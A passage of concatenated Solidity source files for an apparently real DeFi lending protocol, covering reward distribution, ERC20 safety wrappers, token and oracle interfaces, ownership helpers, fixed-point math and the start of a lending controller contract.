paused = true;
}
/**
* @notice set reward token address
* @dev Admin function, only owner can call this
* @param _newRewardToken the address of reward token
*/
function _setRewardToken(address _newRewardToken)
external
override
onlyOwner
{
address _oldRewardToken = rewardToken;
require(
_newRewardToken != address(0) && _newRewardToken != _oldRewardToken,
"Reward token address invalid"
);
rewardToken = _newRewardToken;
emit NewRewardToken(_oldRewardToken, _newRewardToken);
}
/**
* @notice Add the iToken as receipient
* @dev Admin function, only controller can call this
* @param _iToken the iToken to add as recipient
* @param _distributionFactor the distribution factor of the recipient
*/
function _addRecipient(address _iToken, uint256 _distributionFactor)
external
override
onlyController
{
distributionFactorMantissa[_iToken] = _distributionFactor;
distributionSupplyState[_iToken] = DistributionState({
index: 0,
block: block.number
});
distributionBorrowState[_iToken] = DistributionState({
index: 0,
block: block.number
});
emit NewRecipient(_iToken, _distributionFactor);
}
/**
* @notice Pause the reward distribution
* @dev Admin function, pause will set global speed to 0 to stop the accumulation
*/
function _pause() external override onlyOwner {
// Set the global distribution speed to 0 to stop accumulation
address[] memory _iTokens = controller.getAlliTokens();
uint256 _len = _iTokens.length;
for (uint256 i = 0; i < _len; i++) {
_setDistributionBorrowSpeed(_iTokens[i], 0);
_setDistributionSupplySpeed(_iTokens[i], 0);
}
_refreshGlobalDistributionSpeeds();
_setPaused(true);
}
/**
* @notice Unpause and set distribution speeds
* @dev Admin function
* @param _borrowiTokens The borrow asset array
* @param _borrowSpeeds The borrow speed array
* @param _supplyiTokens The supply asset array
* @param _supplySpeeds The supply speed array
*/
function _unpause(
address[] calldata _borrowiTokens,
uint256[] calldata _borrowSpeeds,
address[] calldata _supplyiTokens,
uint256[] calldata _supplySpeeds
) external override onlyOwner {
_setPaused(false);
_setDistributionSpeedsInternal(
_borrowiTokens,
_borrowSpeeds,
_supplyiTokens,
_supplySpeeds
);
_refreshGlobalDistributionSpeeds();
}
/**
* @notice Pause/Unpause the reward distribution
* @dev Admin function
* @param _paused whether to pause/unpause the distribution
*/
function _setPaused(bool _paused) internal {
paused = _paused;
emit Paused(_paused);
}
/**
* @notice Set distribution speeds
* @dev Admin function, will fail when paused
* @param _borrowiTokens The borrow asset array
* @param _borrowSpeeds The borrow speed array
* @param _supplyiTokens The supply asset array
* @param _supplySpeeds The supply speed array
*/
function _setDistributionSpeeds(
address[] calldata _borrowiTokens,
uint256[] calldata _borrowSpeeds,
address[] calldata _supplyiTokens,
uint256[] calldata _supplySpeeds
) external onlyOwner {
require(!paused, "Can not change speeds when paused");
_setDistributionSpeedsInternal(
_borrowiTokens,
_borrowSpeeds,
_supplyiTokens,
_supplySpeeds
);
_refreshGlobalDistributionSpeeds();
}
function _setDistributionSpeedsInternal(
address[] memory _borrowiTokens,
uint256[] memory _borrowSpeeds,
address[] memory _supplyiTokens,
uint256[] memory _supplySpeeds
) internal {
_setDistributionBorrowSpeedsInternal(_borrowiTokens, _borrowSpeeds);
_setDistributionSupplySpeedsInternal(_supplyiTokens, _supplySpeeds);
}
/**
* @notice Set borrow distribution speeds
* @dev Admin function, will fail when paused
* @param _iTokens The borrow asset array
* @param _borrowSpeeds The borrow speed array
*/
function _setDistributionBorrowSpeeds(
address[] calldata _iTokens,
uint256[] calldata _borrowSpeeds
) external onlyOwner {
require(!paused, "Can not change borrow speeds when paused");
_setDistributionBorrowSpeedsInternal(_iTokens, _borrowSpeeds);
_refreshGlobalDistributionSpeeds();
}
/**
* @notice Set supply distribution speeds
* @dev Admin function, will fail when paused
* @param _iTokens The supply asset array
* @param _supplySpeeds The supply speed array
*/
function _setDistributionSupplySpeeds(
address[] calldata _iTokens,
uint256[] calldata _supplySpeeds
) external onlyOwner {
require(!paused, "Can not change supply speeds when paused");
_setDistributionSupplySpeedsInternal(_iTokens, _supplySpeeds);
_refreshGlobalDistributionSpeeds();
}
function _refreshGlobalDistributionSpeeds() internal {
address[] memory _iTokens = controller.getAlliTokens();
uint256 _len = _iTokens.length;
uint256 _borrowSpeed;
uint256 _supplySpeed;
for (uint256 i = 0; i < _len; i++) {
_borrowSpeed = _borrowSpeed.add(distributionSpeed[_iTokens[i]]);
_supplySpeed = _supplySpeed.add(
distributionSupplySpeed[_iTokens[i]]
);
}
globalDistributionSpeed = _borrowSpeed;
globalDistributionSupplySpeed = _supplySpeed;
emit GlobalDistributionSpeedsUpdated(_borrowSpeed, _supplySpeed);
}
function _setDistributionBorrowSpeedsInternal(
address[] memory _iTokens,
uint256[] memory _borrowSpeeds
) internal {
require(
_iTokens.length == _borrowSpeeds.length,
"Length of _iTokens and _borrowSpeeds mismatch"
);
uint256 _len = _iTokens.length;
for (uint256 i = 0; i < _len; i++) {
_setDistributionBorrowSpeed(_iTokens[i], _borrowSpeeds[i]);
}
}
function _setDistributionSupplySpeedsInternal(
address[] memory _iTokens,
uint256[] memory _supplySpeeds
) internal {
require(
_iTokens.length == _supplySpeeds.length,
"Length of _iTokens and _supplySpeeds mismatch"
);
uint256 _len = _iTokens.length;
for (uint256 i = 0; i < _len; i++) {
_setDistributionSupplySpeed(_iTokens[i], _supplySpeeds[i]);
}
}
function _setDistributionBorrowSpeed(address _iToken, uint256 _borrowSpeed)
internal
{
// iToken must have been listed
require(controller.hasiToken(_iToken), "Token has not been listed");
// Update borrow state before updating new speed
_updateDistributionState(_iToken, true);
distributionSpeed[_iToken] = _borrowSpeed;
emit DistributionBorrowSpeedUpdated(_iToken, _borrowSpeed);
}
function _setDistributionSupplySpeed(address _iToken, uint256 _supplySpeed)
internal
{
// iToken must have been listed
require(controller.hasiToken(_iToken), "Token has not been listed");
// Update supply state before updating new speed
_updateDistributionState(_iToken, false);
distributionSupplySpeed[_iToken] = _supplySpeed;
emit DistributionSupplySpeedUpdated(_iToken, _supplySpeed);
}
/**
* @notice Update the iToken's Reward distribution state
* @dev Will be called every time when the iToken's supply/borrow changes
* @param _iToken The iToken to be updated
* @param _isBorrow whether to update the borrow state
*/
function updateDistributionState(address _iToken, bool _isBorrow)
external
override
{
// Skip all updates if it is paused
if (paused) {
return;
}
_updateDistributionState(_iToken, _isBorrow);
}
function _updateDistributionState(address _iToken, bool _isBorrow)
internal
{
require(controller.hasiToken(_iToken), "Token has not been listed");
DistributionState storage state =
_isBorrow
? distributionBorrowState[_iToken]
: distributionSupplyState[_iToken];
uint256 _speed =
_isBorrow
? distributionSpeed[_iToken]
: distributionSupplySpeed[_iToken];
uint256 _blockNumber = block.number;
uint256 _deltaBlocks = _blockNumber.sub(state.block);
if (_deltaBlocks > 0 && _speed > 0) {
uint256 _totalToken =
_isBorrow
? IiToken(_iToken).totalBorrows().rdiv(
IiToken(_iToken).borrowIndex()
)
: IERC20Upgradeable(_iToken).totalSupply();
uint256 _totalDistributed = _speed.mul(_deltaBlocks);
// Reward distributed per token since last time
uint256 _distributedPerToken =
_totalToken > 0 ? _totalDistributed.rdiv(_totalToken) : 0;
state.index = state.index.add(_distributedPerToken);
}
state.block = _blockNumber;
}
/**
* @notice Update the account's Reward distribution state
* @dev Will be called every time when the account's supply/borrow changes
* @param _iToken The iToken to be updated
* @param _account The account to be updated
* @param _isBorrow whether to update the borrow state
*/
function updateReward(
address _iToken,
address _account,
bool _isBorrow
) external override {
_updateReward(_iToken, _account, _isBorrow);
}
function _updateReward(
address _iToken,
address _account,
bool _isBorrow
) internal {
require(_account != address(0), "Invalid account address!");
require(controller.hasiToken(_iToken), "Token has not been listed");
uint256 _iTokenIndex;
uint256 _accountIndex;
uint256 _accountBalance;
if (_isBorrow) {
_iTokenIndex = distributionBorrowState[_iToken].index;
_accountIndex = distributionBorrowerIndex[_iToken][_account];
_accountBalance = IiToken(_iToken)
.borrowBalanceStored(_account)
.rdiv(IiToken(_iToken).borrowIndex());
// Update the account state to date
distributionBorrowerIndex[_iToken][_account] = _iTokenIndex;
} else {
_iTokenIndex = distributionSupplyState[_iToken].index;
_accountIndex = distributionSupplierIndex[_iToken][_account];
_accountBalance = IERC20Upgradeable(_iToken).balanceOf(_account);
// Update the account state to date
distributionSupplierIndex[_iToken][_account] = _iTokenIndex;
}
uint256 _deltaIndex = _iTokenIndex.sub(_accountIndex);
uint256 _amount = _accountBalance.rmul(_deltaIndex);
if (_amount > 0) {
reward[_account] = reward[_account].add(_amount);
emit RewardDistributed(_iToken, _account, _amount, _accountIndex);
}
}
/**
* @notice Update reward accrued in iTokens by the holders regardless of paused or not
* @param _holders The account to update
* @param _iTokens The _iTokens to update
*/
function updateRewardBatch(
address[] memory _holders,
address[] memory _iTokens
) public override {
// Update rewards for all _iTokens for holders
for (uint256 i = 0; i < _iTokens.length; i++) {
address _iToken = _iTokens[i];
_updateDistributionState(_iToken, false);
_updateDistributionState(_iToken, true);
for (uint256 j = 0; j < _holders.length; j++) {
_updateReward(_iToken, _holders[j], false);
_updateReward(_iToken, _holders[j], true);
}
}
}
/**
* @notice Update reward accrued in iTokens by the holders regardless of paused or not
* @param _holders The account to update
* @param _iTokens The _iTokens to update
* @param _isBorrow whether to update the borrow state
*/
function _updateRewards(
address[] memory _holders,
address[] memory _iTokens,
bool _isBorrow
) internal {
// Update rewards for all _iTokens for holders
for (uint256 i = 0; i < _iTokens.length; i++) {
address _iToken = _iTokens[i];
_updateDistributionState(_iToken, _isBorrow);
for (uint256 j = 0; j < _holders.length; j++) {
_updateReward(_iToken, _holders[j], _isBorrow);
}
}
}
/**
* @notice Claim reward accrued in iTokens by the holders
* @param _holders The account to claim for
* @param _iTokens The _iTokens to claim from
*/
function claimReward(address[] memory _holders, address[] memory _iTokens)
public
override
{
updateRewardBatch(_holders, _iTokens);
// Withdraw all reward for all holders
for (uint256 j = 0; j < _holders.length; j++) {
address _account = _holders[j];
uint256 _reward = reward[_account];
if (_reward > 0) {
reward[_account] = 0;
IERC20Upgradeable(rewardToken).safeTransfer(_account, _reward);
}
}
}
/**
* @notice Claim reward accrued in iTokens by the holders
* @param _holders The account to claim for
* @param _suppliediTokens The _suppliediTokens to claim from
* @param _borrowediTokens The _borrowediTokens to claim from
*/
function claimRewards(
address[] memory _holders,
address[] memory _suppliediTokens,
address[] memory _borrowediTokens
) external override {
_updateRewards(_holders, _suppliediTokens, false);
_updateRewards(_holders, _borrowediTokens, true);
// Withdraw all reward for all holders
for (uint256 j = 0; j < _holders.length; j++) {
address _account = _holders[j];
uint256 _reward = reward[_account];
if (_reward > 0) {
reward[_account] = 0;
IERC20Upgradeable(rewardToken).safeTransfer(_account, _reward);
}
}
}
/**
* @notice Claim reward accrued in all iTokens by the holders
* @param _holders The account to claim for
*/
function claimAllReward(address[] memory _holders) external override {
claimReward(_holders, controller.getAlliTokens());
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20Upgradeable.sol";
import "../../math/SafeMathUpgradeable.sol";
import "../../utils/AddressUpgradeable.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20Upgradeable {
using SafeMathUpgradeable for uint256;
using AddressUpgradeable for address;
function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "./IInterestRateModelInterface.sol";
import "./IControllerInterface.sol";
interface IiToken {
function isSupported() external returns (bool);
function isiToken() external returns (bool);
//----------------------------------
//********* User Interface *********
//----------------------------------
function mint(address recipient, uint256 mintAmount) external;
function mintAndEnterMarket(address recipient, uint256 mintAmount) external;
function redeem(address from, uint256 redeemTokens) external;
function redeemUnderlying(address from, uint256 redeemAmount) external;
function borrow(uint256 borrowAmount) external;
function repayBorrow(uint256 repayAmount) external;
function repayBorrowBehalf(address borrower, uint256 repayAmount) external;
function liquidateBorrow(
address borrower,
uint256 repayAmount,
address iTokenCollateral
) external;
function flashloan(
address recipient,
uint256 loanAmount,
bytes memory data
) external;
function seize(
address _liquidator,
address _borrower,
uint256 _seizeTokens
) external;
function updateInterest() external returns (bool);
function controller() external view returns (address);
function exchangeRateCurrent() external returns (uint256);
function exchangeRateStored() external view returns (uint256);
function totalBorrowsCurrent() external returns (uint256);
function totalBorrows() external view returns (uint256);
function borrowBalanceCurrent(address _user) external returns (uint256);
function borrowBalanceStored(address _user) external view returns (uint256);
function borrowIndex() external view returns (uint256);
function getAccountSnapshot(address _account)
external
view
returns (
uint256,
uint256,
uint256
);
function borrowRatePerBlock() external view returns (uint256);
function supplyRatePerBlock() external view returns (uint256);
function getCash() external view returns (uint256);
//----------------------------------
//********* Owner Actions **********
//----------------------------------
function _setNewReserveRatio(uint256 _newReserveRatio) external;
function _setNewFlashloanFeeRatio(uint256 _newFlashloanFeeRatio) external;
function _setNewProtocolFeeRatio(uint256 _newProtocolFeeRatio) external;
function _setController(IControllerInterface _newController) external;
function _setInterestRateModel(
IInterestRateModelInterface _newInterestRateModel
) external;
function _withdrawReserves(uint256 _withdrawAmount) external;
}
//SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface IRewardDistributorV3 {
function _setRewardToken(address newRewardToken) external;
/// @notice Emitted reward token address is changed by admin
event NewRewardToken(address oldRewardToken, address newRewardToken);
function _addRecipient(address _iToken, uint256 _distributionFactor)
external;
event NewRecipient(address iToken, uint256 distributionFactor);
/// @notice Emitted when mint is paused/unpaused by admin
event Paused(bool paused);
function _pause() external;
function _unpause(
address[] calldata _borrowiTokens,
uint256[] calldata _borrowSpeeds,
address[] calldata _supplyiTokens,
uint256[] calldata _supplySpeeds
) external;
/// @notice Emitted when Global Distribution speed for both supply and borrow are updated
event GlobalDistributionSpeedsUpdated(
uint256 borrowSpeed,
uint256 supplySpeed
);
/// @notice Emitted when iToken's Distribution borrow speed is updated
event DistributionBorrowSpeedUpdated(address iToken, uint256 borrowSpeed);
/// @notice Emitted when iToken's Distribution supply speed is updated
event DistributionSupplySpeedUpdated(address iToken, uint256 supplySpeed);
/// @notice Emitted when iToken's Distribution factor is changed by admin
event NewDistributionFactor(
address iToken,
uint256 oldDistributionFactorMantissa,
uint256 newDistributionFactorMantissa
);
function updateDistributionState(address _iToken, bool _isBorrow) external;
function updateReward(
address _iToken,
address _account,
bool _isBorrow
) external;
function updateRewardBatch(
address[] memory _holders,
address[] memory _iTokens
) external;
function claimReward(address[] memory _holders, address[] memory _iTokens)
external;
function claimAllReward(address[] memory _holders) external;
function claimRewards(address[] memory _holders, address[] memory _suppliediTokens, address[] memory _borrowediTokens) external;
/// @notice Emitted when reward of amount is distributed into account
event RewardDistributed(
address iToken,
address account,
uint256 amount,
uint256 accountIndex
);
}
//SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "./IiToken.sol";
interface IPriceOracle {
/**
* @notice Get the underlying price of a iToken asset
* @param _iToken The iToken to get the underlying price of
* @return The underlying asset price mantissa (scaled by 1e18).
* Zero means the price is unavailable.
*/
function getUnderlyingPrice(address _iToken)
external
view
returns (uint256);
/**
* @notice Get the price of a underlying asset
* @param _iToken The iToken to get the underlying price of
* @return The underlying asset price mantissa (scaled by 1e18).
* Zero means the price is unavailable and whether the price is valid.
*/
function getUnderlyingPriceAndStatus(address _iToken)
external
view
returns (uint256, bool);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(
!_initialized,
"Initializable: contract is already initialized"
);
_;
_initialized = true;
}
}
//SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {_setPendingOwner} and {_acceptOwner}.
*/
contract Ownable {
/**
* @dev Returns the address of the current owner.
*/
address payable public owner;
/**
* @dev Returns the address of the current pending owner.
*/
address payable public pendingOwner;
event NewOwner(address indexed previousOwner, address indexed newOwner);
event NewPendingOwner(
address indexed oldPendingOwner,
address indexed newPendingOwner
);
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner == msg.sender, "onlyOwner: caller is not the owner");
_;
}
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal {
owner = msg.sender;
emit NewOwner(address(0), msg.sender);
}
/**
* @notice Base on the inputing parameter `newPendingOwner` to check the exact error reason.
* @dev Transfer contract control to a new owner. The newPendingOwner must call `_acceptOwner` to finish the transfer.
* @param newPendingOwner New pending owner.
*/
function _setPendingOwner(address payable newPendingOwner)
external
onlyOwner
{
require(
newPendingOwner != address(0) && newPendingOwner != pendingOwner,
"_setPendingOwner: New owenr can not be zero address and owner has been set!"
);
// Gets current owner.
address oldPendingOwner = pendingOwner;
// Sets new pending owner.
pendingOwner = newPendingOwner;
emit NewPendingOwner(oldPendingOwner, newPendingOwner);
}
/**
* @dev Accepts the admin rights, but only for pendingOwenr.
*/
function _acceptOwner() external {
require(
msg.sender == pendingOwner,
"_acceptOwner: Only for pending owner!"
);
// Gets current values for events.
address oldOwner = owner;
address oldPendingOwner = pendingOwner;
// Set the new contract owner.
owner = pendingOwner;
// Clear the pendingOwner.
pendingOwner = address(0);
emit NewOwner(oldOwner, owner);
emit NewPendingOwner(oldPendingOwner, pendingOwner);
}
uint256[50] private __gap;
}
//SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol";
library SafeRatioMath {
using SafeMathUpgradeable for uint256;
uint256 private constant BASE = 10**18;
uint256 private constant DOUBLE = 10**36;
function divup(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x.add(y.sub(1)).div(y);
}
function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x.mul(y).div(BASE);
}
function rdiv(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x.mul(BASE).div(y);
}
function rdivup(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x.mul(BASE).add(y.sub(1)).div(y);
}
function tmul(
uint256 x,
uint256 y,
uint256 z
) internal pure returns (uint256 result) {
result = x.mul(y).mul(z).div(DOUBLE);
}
function rpow(
uint256 x,
uint256 n,
uint256 base
) internal pure returns (uint256 z) {
assembly {
switch x
case 0 {
switch n
case 0 {
z := base
}
default {
z := 0
}
}
default {
switch mod(n, 2)
case 0 {
z := base
}
default {
z := x
}
let half := div(base, 2) // for rounding.
for {
n := div(n, 2)
} n {
n := div(n, 2)
} {
let xx := mul(x, x)
if iszero(eq(div(xx, x), x)) {
revert(0, 0)
}
let xxRound := add(xx, half)
if lt(xxRound, xx) {
revert(0, 0)
}
x := div(xxRound, base)
if mod(n, 2) {
let zx := mul(z, x)
if and(
iszero(iszero(x)),
iszero(eq(div(zx, x), z))
) {
revert(0, 0)
}
let zxRound := add(zx, half)
if lt(zxRound, zx) {
revert(0, 0)
}
z := div(zxRound, base)
}
}
}
}
}
}
//SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts-upgradeable/token/ERC20/SafeERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/EnumerableSetUpgradeable.sol";
import "./interface/IControllerInterface.sol";
import "./interface/IPriceOracle.sol";
import "./interface/IiToken.sol";
import "./interface/IRewardDistributor.sol";
import "./library/Initializable.sol";
import "./library/Ownable.sol";
import "./library/SafeRatioMath.sol";
/**
* @title dForce's lending controller Contract
* @author dForce
*/
contract Controller is Initializable, Ownable, IControllerInterface {
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
using SafeRatioMath for uint256;
using SafeMathUpgradeable for uint256;
using SafeERC20Upgradeable for IERC20Upgradeable;
/// @dev EnumerableSet of all iTokens
EnumerableSetUpgradeable.AddressSet internal iTokens;
struct Market {
/*
* Multiplier representing the most one can borrow against their collateral in this market.
* For instance, 0.9 to allow borrowing 90% of collateral value.
* Must be in [0, 0.9], and stored as a mantissa.
*/
uint256 collateralFactorMantissa;
/*
* Multiplier representing the most one can borrow the asset.
* For instance, 0.5 to allow borrowing this asset 50% * collateral value * collateralFactor.
* When calculating equity, 0.5 with 100 borrow balance will produce 200 borrow value
* Must be between (0, 1], and stored as a mantissa.
*/
uint256 borrowFactorMantissa;
/*
* The borrow capacity of the asset, will be checked in beforeBorrow()
* -1 means there is no limit on the capacity
* 0 means the asset can not be borrowed any more
*/
uint256 borrowCapacity;
/*
* The supply capacity of the asset, will be checked in beforeMint()
* -1 means there is no limit on the capacity
* 0 means the asset can not be supplied any more
*/
uint256 supplyCapacity;
// Whether market's mint is paused
bool mintPaused;
// Whether market's redeem is paused
bool redeemPaused;
// Whether market's borrow is paused
bool borrowPaused;
}
/// @notice Mapping of iTokens to corresponding markets
mapping(address => Market) public markets;
struct AccountData {
// Account's collateral assets
EnumerableSetUpgradeable.AddressSet collaterals;
// Account's borrowed assets
EnumerableSetUpgradeable.AddressSet borrowed;
}
/// @dev Mapping of accounts' data, including collateral and borrowed assets
mapping(address => AccountData) internal accountsData;
/**
* @notice Oracle to query the price of a given asset
*/
address public priceOracle;
/**
* @notice Multiplier used to calculate the maximum repayAmount when liquidating a borrow
*/
uint256 public closeFactorMantissa;
// closeFactorMantissa must be strictly greater than this value
uint256 internal constant closeFactorMinMantissa = 0.05e18; // 0.05
// closeFactorMantissa must not exceed this value
uint256 internal constant closeFactorMaxMantissa = 0.9e18; // 0.9
/**
* @notice Multiplier representing the discount on collateral that a liquidator receives
*/
uint256 public liquidationIncentiveMantissa;
// liquidationIncentiveMantissa must be no less than this value
uint256 internal constant liquidationIncentiveMinMantissa = 1.0e18; // 1.0
// liquidationIncentiveMantissa must be no greater than this value
uint256 internal constant liquidationIncentiveMaxMantissa = 1.5e18; // 1.5
// collateralFactorMantissa must not exceed this value
uint256 internal constant collateralFactorMaxMantissa = 1e18; // 1.0
// borrowFactorMantissa must not exceed this value
uint256 internal constant borrowFactorMaxMantissa = 1e18; // 1.0
/**
* @notice Guardian who can pause mint/borrow/liquidate/transfer in case of emergency
*/
address public pauseGuardian;
/// @notice whether global transfer is paused
bool public transferPaused;
/// @notice whether global seize is paused
bool public seizePaused;
/**
* @notice the address of reward distributor
*/
address public rewardDistributor;
/**
* @dev Check if called by owner or pauseGuardian, and only owner can unpause
*/
modifier checkPauser(bool _paused) {
require(
msg.sender == owner || (msg.sender == pauseGuardian && _paused),
"Only owner and guardian can pause and only owner can unpause"
);
_;
}
/**
* @notice Initializes the contract.
*/
function initialize() external initializer {
__Ownable_init();
}
/*********************************/
/******** Security Check *********/
/*********************************/
/**
* @notice Ensure this is a Controller contract.
*/
function isController() external view override returns (bool) {
return true;
}
/*********************************/
/******** Admin Operations *******/
/*********************************/
/**
* @notice Admin function to add iToken into supported markets
* Checks if the iToken already exsits
* Will `revert()` if any check fails
* @param _iToken The _iToken to add
* @param _collateralFactor The _collateralFactor of _iToken
* @param _borrowFactor The _borrowFactor of _iToken
* @param _supplyCapacity The _supplyCapacity of _iToken
* @param _distributionFactor The _distributionFactor of _iToken
*/
function _addMarket(
address _iToken,
uint256 _collateralFactor,
uint256 _borrowFactor,
uint256 _supplyCapacity,
uint256 _borrowCapacity,
uint256 _distributionFactor
) external override onlyOwner {
require(IiToken(_iToken).isSupported(), "Token is not supported");
// Market must not have been listed, EnumerableSet.add() will return false if it exsits
require(iTokens.add(_iToken), "Token has already been listed");
require(
_collateralFactor <= collateralFactorMaxMantissa,
"Collateral factor invalid"
);
require(
_borrowFactor > 0 && _borrowFactor <= borrowFactorMaxMantissa,
"Borrow factor invalid"
);
// Its value will be taken into account when calculate account equity
// Check if the price is available for the calculation
require(
IPriceOracle(priceOracle).getUnderlyingPrice(_iToken) != 0,
"Underlying price is unavailable"
);
markets[_iToken] = Market({
collateralFactorMantissa: _collateralFactor,
borrowFactorMantissa: _borrowFactor,
borrowCapacity: _borrowCapacity,
supplyCapacity: _supplyCapacity,
mintPaused: false,
redeemPaused: false,
borrowPaused: false
});
IRewardDistributor(rewardDistributor)._addRecipient(
_iToken,
_distributionFactor
);
emit MarketAdded(
_iToken,
_collateralFactor,
_borrowFactor,
_supplyCapacity,
_borrowCapacity,
_distributionFactor
);
}
/**
* @notice Sets price oracle
* @dev Admin function to set price oracle
* @param _newOracle New oracle contract
*/
function _setPriceOracle(address _newOracle) external override onlyOwner {
address _oldOracle = priceOracle;
require(
_newOracle != address(0) && _newOracle != _oldOracle,
"Oracle address invalid"
);
priceOracle = _newOracle;
emit NewPriceOracle(_oldOracle, _newOracle);
}
/**
* @notice Sets the closeFactor used when liquidating borrows
* @dev Admin function to set closeFactor
* @param _newCloseFactorMantissa New close factor, scaled by 1e18
*/
function _setCloseFactor(uint256 _newCloseFactorMantissa)
external
override
onlyOwner
{
require(
_newCloseFactorMantissa >= closeFactorMinMantissa &&
_newCloseFactorMantissa <= closeFactorMaxMantissa,
"Close factor invalid"
);
uint256 _oldCloseFactorMantissa = closeFactorMantissa;
closeFactorMantissa = _newCloseFactorMantissa;
